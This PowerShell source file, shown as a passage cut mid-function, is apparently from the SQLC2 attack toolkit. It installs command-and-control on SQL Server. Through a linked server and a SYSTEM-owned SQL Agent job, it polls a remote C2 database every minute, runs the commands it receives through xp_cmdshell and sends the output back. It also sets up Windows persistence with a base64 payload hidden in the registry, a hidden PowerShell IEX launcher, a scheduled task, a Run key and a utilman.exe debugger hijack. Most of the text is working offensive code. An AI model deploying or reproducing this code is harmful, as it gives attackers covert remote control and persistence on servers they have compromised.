    {
        # Setup data table for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Status')
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
        }

        # Attempt connection
        try
        {
            # Open connection
            $Connection.Open()

            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

            # Close connection
            $Connection.Close()

            # Dispose connection
            $Connection.Dispose()
        }
        catch
        {
            # Connection failed
            if(-not $SuppressVerbose)
            {
                $ErrorMessage = $_.Exception.Message
                Write-Verbose -Message "$Instance : Connection Failed."
                Write-Verbose  -Message " Error: $ErrorMessage"
            }

            # Add record
            $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
        }
    }

    End
    {
        # Return Results
        $TblResults
    }
}


# -------------------------------------------
# Function: Get-SQLC2ComputerNameFromInstance
# ------------------------------------------
# Author: Scott Sutherland
Function Get-SQLC2ComputerNameFromInstance
{
    <#
            .SYNOPSIS
            Parses computer name from a provided instance.
            .PARAMETER Instance
            SQL Server instance to parse.
            .EXAMPLE
            PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
            SQLServer1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance.')]
        [string]$Instance
    )

    # Parse ComputerName from provided instance
    If ($Instance)
    {
        $ComputerName = $Instance.split('\')[0].split(',')[0]
    }
    else
    {
        $ComputerName = $env:COMPUTERNAME
    }

    Return $ComputerName
}


# ----------------------------------
# Install-SQLC2Server
# ----------------------------------
# Author: Scott Sutherland
Function Install-SQLC2Server
{
    <#
            .SYNOPSIS
            This functions creates the C2 SQL Server tables in the target database.
            If the database does not exist, the script will try to create it.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .EXAMPLE
            PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'ServerName of the agent.')]
        [string]$ServerName,

       [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Command to run on the agent.')]
        [string]$Command,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }

        # Test connection
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }        

        Write-Verbose "$instance : Note: Creating DBs on thefly in Azure times out sometimes."
        Write-Verbose "$instance : Attempting to verify and/or create the database $Database..."

        # Create Database Query
        $Query = "
            If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database')
                CREATE DATABASE db1
            ELSE
                SELECT name FROM master..sysdatabases WHERE name like '$Database'"

        
        # Create Database results
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 
        $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count        
        if($RowCount -eq 1)
        {
           Write-Verbose "$instance : Verified $Database database exists or was created."
        }else{
           Write-Verbose "$instance : Access or creation of $Database database failed."
           return  
        }

        Write-Verbose "$instance : Creating the C2 Table in the database $Database."

        # Create Database Query
        $Query = "
                If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS')
                CREATE TABLE [C2COMMANDS]
                (
                    [cid] int IDENTITY(1,1) PRIMARY KEY,
                    [servername]varchar(MAX),
                    [command]varchar(MAX),
                    [result]varchar(MAX),
                    [status]varchar(MAX),
                    [lastupdate]DateTime default (Getdate())
                );
 
                If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS')
                CREATE TABLE [C2AGENTS]
                (
                    [aid] int IDENTITY(1,1) PRIMARY KEY,
                    [servername]varchar(MAX),
                    [agentype]varchar(MAX),
                    [lastcheckin]DateTime default (Getdate()),
                );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'"

        
        # Create Database results
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose
        $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count    
        if($RowCount -eq 1)
        {
           Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database."
        }else{
           Write-Verbose "$instance : C2 tables creation failed in the $Database failed."  
        }
        
    }

    End
    {
        # Return data
        # $TblResults
    }
}


# ----------------------------------
# Install-SQLC2AgentPs
# ----------------------------------
# Author: Scott Sutherland
Function Install-SQLC2AgentPs
{
    <#
            .SYNOPSIS
            This functions installs a C2 Agent on the target SQL Server by creating a server link
            to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download
            commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell.
            This requires sysadmin privileges on the target server.
            .PARAMETER Instance
            C2 SQL Server instance to connection to.
            .PARAMETER Username
            C2 SQL Server or domain account to authenticate with.
            .PARAMETER Password
            C2 SQL Server or domain account password to authenticate with.
            .PARAMETER DatabaseName
            Database name that contains target table on C2.
            .PARAMETER Type
            Type of persistence method to use.
            .EXAMPLE
            Connecting using current Windows credentials.
            PS C:\> Install-SQLC2AgentPs -Verbose -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
             .EXAMPLE
            Connecting using current Windows credentials.
            PS C:\> Install-SQLC2AgentPs -Verbose -Type Task -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
    #>

    [CmdletBinding()]
    Param(

        [Parameter(Mandatory = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'C2 SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $true,
        HelpMessage = 'C2 SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $true,
        HelpMessage = 'C2 SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $true,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table on C2 SQL Server.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Type of persistence method to use.')]
        [ValidateSet("Task","RegRun","RegUtilman")]
        [string]$Type = "Task",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
    }

    Process
    {
            # check for admin privs - pending

            # ------------------------------------
            # Gather SQLC2 functions
            # ------------------------------------
            Write-Verbose " - Creating SQLC2AgentPS command." 

            # Setup script variable
            $psscript = ""

            Get-ChildItem -Path Function:\ |
            Where-Object name -like "*SQLC2*" |
            Where-Object -FilterScript {
                $_.name -notlike '*:*'
            } |
            Select-Object -Property name -ExpandProperty name |
            ForEach-Object -Process {

                # Get the function code
                $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop

                # $Definition
                $CurrentFunction = "Function $_ `n { $Definition }"

                # Add function
                $psscript = "$psscript `n $CurrentFunction"
            }

            # ------------------------------------
            # Create SQLC2 command and store it
            # ------------------------------------

            # my command
            $SQLC2Command = "Get-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Execute"

            # Add custom command
            $psscript = "$psscript `n`n $SQLC2Command"

            # Encode command
            $psscript64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psscript)) | Out-Null

            # Write command to the registry and drop IoCs
            Write-Verbose " - Attempting to write SQLC2AgentPS payload to registry keys." 
            if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\")
            {
                Write-Verbose " - Keys already exist."
            }else{
                
                # Write keys
                try{
                    New-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ -Name SQLC2AgentPS –Force | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayName -Value "SQLC2AgentPS" –Force  | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayIcon -Value "C:\Windows\System32\ComputerDefaults.exe" –Force  | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Command -Value "$psscript64" –Force -PropertyType MultiString  | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Publisher -Value "Bad Person" –Force | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallPath -Value "c:\windows\system32\calc.exe" –Force | Out-Null
                    New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallString -Value "c:\windows\system32\calc.exe" –Force | Out-Null
                    Write-Verbose " - Keys created." 
                }catch{
                    Write-Verbose " - Unable to write SQLC2AgentPS payload to the registry."
                    return
                }                
            }

            # PowerShell Arguments
            $PersistCommand = " -NoProfile -WindowStyle Hidden -C `"IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS' -Name Command).Command)))`""

            # ------------------------------------
            # Create scheduled task
            # ------------------------------------
            if($Type -eq "Task"){
                Write-Verbose " - Attempting to create SQLC2AgentPS scheduled task."
                if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 0)
                                                                        {
                    try{
                        $SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null);
                        $SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString();
                        $Action = New-ScheduledTaskAction –Execute "powershell.exe" -Argument $PersistCommand -WorkingDirectory "C:\windows\system32\WindowsPowerShell\v1.0\"
                        $Trigger = New-ScheduledTaskTrigger -AtLogon
                        $Principal = New-ScheduledTaskPrincipal -UserID $SystemAccountName -LogonType ServiceAccount -RunLevel Highest
                        $Settings = New-ScheduledTaskSettingsSet
                        $Object = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings
                        Register-ScheduledTask "SQLC2AgentPS" -InputObject $Object | Out-Null 
                        Write-Verbose " - Task created."
                    }catch{
                        Write-Verbose " - Failed to create SQLC2AgentPS scheduled task."
                    }
                }else{
                        Write-Verbose " - Task already exists."
                }
            }        
            
            <#
            # ------------------------------------
            # Create WMI Subscription - pending updates
            # ------------------------------------
            # “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5”
            Write-Verbose " - Attempting to create SQLC2AgentPS WMI subscription."
             
            # Create filter (trigger)
            $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
                EventNamespace = "root\cimv2"
                Name = "SQLC2AgentPS_Filter"
                Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
                QueryLanguage = "WQL"
            }
 
            # Create consumer (the command to run)
            $Command = "PowerShell.exe $PersistCommand"
            $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
                Name = "SQLC2AgentPS_Consumer"
                CommandLineTemplate = $Command
            }
 
            # Create binding (connecting the trigger and command to run)
            Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
                Name = "SQLC2AgentPS_Binding"
                Filter = $Filter
                Consumer = $Consumer
            }
            #>
       

            # ------------------------------------
            # Create registry run
            # ------------------------------------
            if($Type -eq "RegRun"){
                Write-Verbose " - Attempting to create SQLC2AgentPS registry run key."
                $Command = "PowerShell.exe $PersistCommand"

                # Check if property exists
                try{
                    Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null  
                    Write-Verbose " - Key already exists."      
                    $RunCheck = 1
                }catch{
                    $RunCheck = 0
                }

                # Add property
                if ($RunCheck -eq 0){

                    try{                        
                        New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -Value "$Command" –Force  | Out-Null
                        Write-Verbose " - Key created."
                    }catch{
                        Write-Verbose " - Failed to create registry run key."
                    }
                }
            }

            # ------------------------------------
            # Create registry utilman.exe debugger
            # ------------------------------------
            if($Type -eq "RegUtilman"){
                Write-Verbose " - Attempting to create SQLC2AgentPS registry key for utilman.exe debugger."
                $Command = "PowerShell.exe $PersistCommand"
                if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\")
                {
                    Write-Verbose " - Key already exists."
                }else{
                
                    # Write the key
                    try{                     
                        New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" -Name UtilMan.exe –Force | Out-Null
                        New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UtilMan.exe" -Name Debugger -Value "$Command" –Force  | Out-Null
                        Write-Verbose " - Key created."
                    }catch{
                        Write-Verbose " - Failed to create registry key for utilman.exe debugger."
                    }
                }   
            }
    }

    End
    {
    }
}


# ----------------------------------
# Install-SQLC2AgentLink
# ----------------------------------
# Author: Scott Sutherland
# Todo: Fix handling of multi-line command output.
Function Install-SQLC2AgentLink
{
    <#
            .SYNOPSIS
            This functions installs a C2 Agent on the target SQL Server by creating a server link
            to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download
            commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell.
            This requires sysadmin privileges on the target server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER C2Username
            SQL Server or domain account to authenticate with.
            .PARAMETER C2Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER C2Instance
            SQL Server C2 instance to connection to.
            .PARAMETER C2DatabaseName
            Database name that contains target table on C2.
            .EXAMPLE
            Connecting using current Windows credentials.
            PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1
            .EXAMPLE
            Connecting using sa SQL server login.
            PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'C2 SQL Server instance to connection to.')]
        [string]$C2Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')]
        [string]$C2Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')]
        [string]$C2Password,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table on C2 SQL Server.')]
        [string]$C2Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }

        # Test connection
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }        

        # ----------------------------
        # Create SQL Server link
        # ----------------------------

        # Generate random name for server link - needs to be random
        $RandomLink = "SQLC2Server"        

         # Create SQL Server link query
        $Query = "
                    -- Create Server Link C2 Server
                    IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0
                    EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink',
                    @srvproduct=N'',
                    @provider=N'SQLNCLI',
                    @datasrc=N'$C2Instance',
                    @catalog=N'$C2Database'
 
                    -- Associate credentials with the server link
                    IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
                    EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink',
                    @useself=N'False',
                    @locallogin=NULL,
                    @rmtuser=N'$C2Username',
                    @rmtpassword='$C2Password'
 
                    -- Configure the server link
                    IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
                    EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true'
 
                    --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
                    EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true'
 
                    --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
                    EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true'
                     
                    -- Verify addition of link
                    IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
                        SELECT 1
                    ELSE
                        SELECT 0
           "

        
        # Run Query
        Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance "
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 

        # Verify link addition
        if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1)
        {
            Write-Verbose "$instance : Confirmed server link named $RandomLink was added."
        }else{
            Write-Verbose "$instance : The server link could not be created."
            return
        }
        
        # -------------------------------
        # Create SQL Server Agent Job
        # -------------------------------

        # Generate random name for the SQL Agent Job
        Write-Verbose "$instance : Creating SQL Agent Job on $Instance."  
        Write-Verbose "$instance : The agent will beacon to $C2Instance every minute."  

        # Create SQL Server agent job
        $Query = "
 
            /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/
            BEGIN TRANSACTION
            DECLARE @ReturnCode INT
            SELECT @ReturnCode = 0
            /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/
            IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
            BEGIN
            EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
 
            END
 
            DECLARE @jobId BINARY(16)
            EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job',
                    @enabled=1,
                    @notify_level_eventlog=0,
                    @notify_level_email=0,
                    @notify_level_netsend=0,
                    @notify_level_page=0,
                    @delete_level=0,
                    @description=N'No description available.',
                    @category_name=N'[Uncategorized (Local)]',
                    @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
            /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/
            EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command',
                    @step_id=1,
                    @cmdexec_success_code=0,
                    @on_success_action=1,
                    @on_success_step_id=0,
                    @on_fail_action=2,
                    @on_fail_step_id=0,
                    @retry_attempts=0,
                    @retry_interval=0,
                    @os_run_priority=0, @subsystem=N'TSQL',
                    @command=N'
 
                    -- Query server link - Register the agent
                    IF not Exists (SELECT * FROM [$RandomLink].$C2Database.dbo.C2Agents WHERE servername = (select @@SERVERNAME))
                        INSERT [$RandomLink].$C2Database.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'')
                     ELSE
                        UPDATE [$RandomLink].$C2Database.dbo.C2Agents SET lastcheckin = (select GETDATE ())
                        WHERE servername like (select @@SERVERNAME)
 
                    -- Get the pending commands for this server from the C2 SQL Server
                    DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000))
                    INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].$C2Database.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername
 
                    -- Run all the command for this server
                    WHILE (SELECT count(*) FROM @output) > 0
                    BEGIN
     
                        -- Setup variables
                        DECLARE @CurrentCid varchar (8000) -- current cid
                        DECLARE @CurrentCmd varchar (8000) -- current command
                        DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table
                        DECLARE @result varchar(8000) -- xp_cmdshell output value
 
                        -- Get first command in the list - need to add cid
                        SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output)
                        SELECT @CurrentCid as cid
                        SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output)
                        SELECT @CurrentCmd as command
         
                        -- Run the command - not command output break when multiline - need fix, and add cid
                        INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd
                        SET @result = (select top 1 result from @xpoutput)
                        select @result as result
 
                        -- Upload results to C2 SQL Server - need to add cid
                        Update [$RandomLink].$C2Database.dbo.C2Commands set result = @result, status=''success''
                        WHERE servername like @@SERVERNAME and cid like @CurrentCid
 
                        -- Clear the command result history
                        DELETE FROM @xpoutput
 
                        -- Remove first command
                        DELETE TOP (1) FROM @output
                    END',
                    @database_name=N'master',
                    @flags=0
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
            EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
            EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule',
                    @enabled=1,
                    @freq_type=4,
                    @freq_interval=1,
                    @freq_subday_type=4,
                    @freq_subday_interval=1,
                    @freq_relative_interval=0,
                    @freq_recurrence_factor=0,
                    @active_start_date=20180521,
                    @active_end_date=99991231,
                    @active_start_time=0,
                    @active_end_time=235959,
                    @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88'
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
            EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
            IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
            COMMIT TRANSACTION
            GOTO EndSave
            QuitWithRollback:
                IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
            EndSave:
             
            -- Script: Get-AgentJob.sql
            -- Description: Return a list of agent jobs.
            -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx
 
            SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER],
                job.job_id as [JOB_ID],
                name as [JOB_NAME],
                description as [JOB_DESCRIPTION],
                step_name,
                command,
                enabled,
                server,
                database_name,
                date_created
            FROM [msdb].[dbo].[sysjobs] job
            INNER JOIN [msdb].[dbo].[sysjobsteps] steps
                ON job.job_id = steps.job_id
            WHERE name like 'SQLC2 Agent Job'
            ORDER BY JOB_OWNER,JOB_NAME"

        
        # Run Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300

        # Verify job was added
        if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1)
        {
            Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added."
        }else{
            Write-Verbose "$instance : The agent job could not be created or already exists."
            Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server."
            return
        }      

        Write-Verbose "$instance : Done."
    }

    End
    {
        # Return data
        # $TblResults
    }
}


# ----------------------------------
# Register-SQLC2Agent
# ----------------------------------
# Author: Scott Sutherland
Function Register-SQLC2Agent 
{
    <#
            .SYNOPSIS
            This command should be run on the c2 agent system so it can send a keep alive to the server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER Table
            Table name to that contains target column.
            .PARAMETER Column
            Column that contains the TSQL command to run.
            .EXAMPLE
            PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $TblDatabases = New-Object -TypeName System.Data.DataTable
